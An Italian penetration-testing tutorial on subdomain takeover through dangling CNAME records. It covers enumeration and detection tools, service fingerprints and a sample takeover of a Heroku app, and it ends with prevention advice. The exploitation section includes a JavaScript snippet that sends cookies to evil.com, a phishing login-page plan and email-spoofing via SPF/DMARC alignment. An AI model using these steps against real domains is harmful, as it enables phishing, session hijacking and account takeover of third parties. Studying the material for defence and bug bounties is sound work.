Subdomain Takeover: CNAME Dangling, DNS Misconfiguration e Account Takeover

Guida completa al Subdomain Takeover: CNAME dangling, servizi cloud dismessi e takeover di sottodomini su AWS, Heroku, GitHub Pages e Azure.
- Pubblicato il 2026-03-19
- Tempo di lettura: 3 min
Cos’è Il Subdomain Takeover? #
Il Subdomain Takeover avviene quando un record DNS (tipicamente un CNAME) punta a un servizio esterno — AWS S3, Heroku, GitHub Pages, Azure, Shopify — che non esiste più. Il servizio è stato cancellato, ma il record DNS è rimasto. L’attaccante crea quel servizio con lo stesso nome sul cloud provider e ora controlla il contenuto di subdomain.target.com.
Phishing perfetto — certificato SSL valido, dominio aziendale reale, l’utente non ha modo di distinguerlo. I cookie impostati su .target.com sono leggibili dal subdomain controllato → session hijacking cross-subdomain.
Satellite della guida pillar Misc & Infra Attacks. Vedi anche: Open Redirect, Session Hijacking.
Riferimenti: HackTricks Subdomain Takeover, Can I Take Over XYZ, OWASP Testing Subdomain Takeover.
Detection #
Step 1: Enumera Subdomini #
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com -o subs_amass.txt
assetfinder --subs-only target.com >> subs_asset.txt
cat subs*.txt | sort -u > all_subs.txtStep 2: Identifica CNAME Pendenti #
cat all_subs.txt | while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
http_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://$sub" 2>/dev/null)
echo "$sub → $cname [$http_code]"
fi
done | tee cname_results.txt
# Filtra i sospetti:
grep -iE "404|000|NoSuchBucket|no-such-app|isn't a GitHub|not found|unavailable" cname_results.txtStep 3: Scan Automatico #
# nuclei (il più affidabile):
nuclei -l all_subs.txt -t http/takeovers/ -o takeover_found.txt
# subjack (veloce):
subjack -w all_subs.txt -t 100 -timeout 30 -o results.txt -ssl
# subzy (moderno):
subzy run --targets all_subs.txtStep 4: Conferma Manuale #
dig +short CNAME blog.target.com
# → company-blog.s3.amazonaws.com
aws s3 ls s3://company-blog 2>&1
# "NoSuchBucket" → takeover possibile!
curl -s "https://xyz.herokuapp.com" | grep -i "no such app"
# Match → takeover possibile!Fingerprint Per Servizio #
| Servizio | CNAME tipico | Fingerprint “morto” |
|---|---|---|
| AWS S3 | *.s3.amazonaws.com | NoSuchBucket |
| GitHub Pages | *.github.io | “There isn’t a GitHub Pages site here” |
| Heroku | *.herokuapp.com | “No such app” |
| Azure | *.azurewebsites.net | 404 default Azure |
| Shopify | shops.myshopify.com | “Sorry, this shop is currently unavailable” |
| Fastly | *.fastly.net | “Fastly error: unknown domain” |
| Pantheon | *.pantheonsite.io | “404 unknown site” |
| Zendesk | *.zendesk.com | “Help Center Closed” |
| Surge.sh | *.surge.sh | 404 default surge |
Consulta can-i-take-over-xyz — la lista viene aggiornata quando i provider cambiano policy.
Exploitation #
Phishing Perfetto #
# Crea pagina login identica su blog.target.com:
# SSL valido (Let's Encrypt), dominio aziendale, zero avvisi browser.
# Email: "Aggiorna le credenziali" → link a https://blog.target.com/login
# L'utente si fida del dominio → credenziali catturate.Cookie Theft Cross-Subdomain #
# Se il cookie dell'app ha Domain=.target.com:
# Set-Cookie: session=abc123; Domain=.target.com
# JavaScript su blog.target.com (controllato dall'attaccante):
<script>
new Image().src = "https://evil.com/steal?c=" + document.cookie;
</script>
# → Il cookie "session" è leggibile! Session Hijacking immediato.Bypass Email Security #
# SPF: il subdomain è nel DNS di target.com → passa
# DMARC: alignment su target.com → passa
# Email "From: security@blog.target.com" arriva in inbox, non in spamOutput Reale #
$ subfinder -d company.it -silent | wc -l
847
$ dig +short CNAME staging.company.it
company-staging.herokuapp.com.
$ curl -s "https://staging.company.it" | head -3
<html><head><title>No such app</title></head>
<body><h1>No such app</h1>
# → TAKEOVER POSSIBILE!
$ heroku create company-staging
Creating company-staging... done
$ curl "https://staging.company.it"
<h1>Subdomain Takeover PoC - HackIta</h1>
# → CONTENUTO CONTROLLATO!Caso Studio #
Settore: Azienda manifatturiera italiana, 3.000 dipendenti.
847 subdomini trovati. staging.azienda.it → CNAME verso app Heroku cancellata 2 anni prima. Takeover eseguito in 3 minuti. Cookie dell’app principale con Domain=.azienda.it → session hijacking cross-subdomain dimostrato.
Un record DNS dimenticato da 2 anni → accesso a tutte le sessioni dell’app principale.
FAQ #
Il Subdomain Takeover funziona solo con CNAME? #
Principalmente sì. Però anche record A che puntano a Elastic IP AWS rilasciati possono essere vulnerabili — se l’IP viene riassegnato a un altro cliente cloud, quel cliente controlla il subdomain.
Come prevengo il Subdomain Takeover? #
Rimuovi i record DNS quando disattivi un servizio. Monitora i CNAME con script automatici. Evita wildcard DNS (*.target.com). Imposta i cookie sul dominio più specifico possibile (app.target.com invece di .target.com).
Il Subdomain Takeover è accettato nei bug bounty? #
La maggior parte dei programmi lo accetta. Crea una pagina PoC neutra (“Subdomain Takeover PoC — [Your Handle]”) e riporta subito. Non usare il subdomain per phishing reale.
Quanto è comune? #
Molto. Le aziende enterprise con centinaia di subdomini hanno quasi sempre almeno un CNAME pendente — servizi test, staging, campagne marketing cancellati ma DNS mai aggiornato.
✅ Checklist #
DISCOVERY
☐ Subdomini enumerati (subfinder + amass + assetfinder)
☐ CNAME verificati (dig per ogni subdomain)
☐ nuclei takeover templates eseguito
☐ subjack/subzy eseguito
☐ Fingerprint servizio morto confermato
EXPLOITATION
☐ Servizio creato sul cloud provider
☐ PoC contenuto servito dal subdomain
☐ Cookie Domain=.target.com? → cookie theft testato
☐ Email spoofing via subdomain testato
IMPATTO
☐ Phishing dal dominio aziendale
☐ Cookie theft cross-subdomain
☐ Bypass SPF/DKIM/DMARCI tuoi record DNS puntano a servizi ancora attivi? I cookie hanno
Domain=.target.com? Penetration test HackIta. Dal CNAME dimenticato all’account takeover: formazione 1:1.







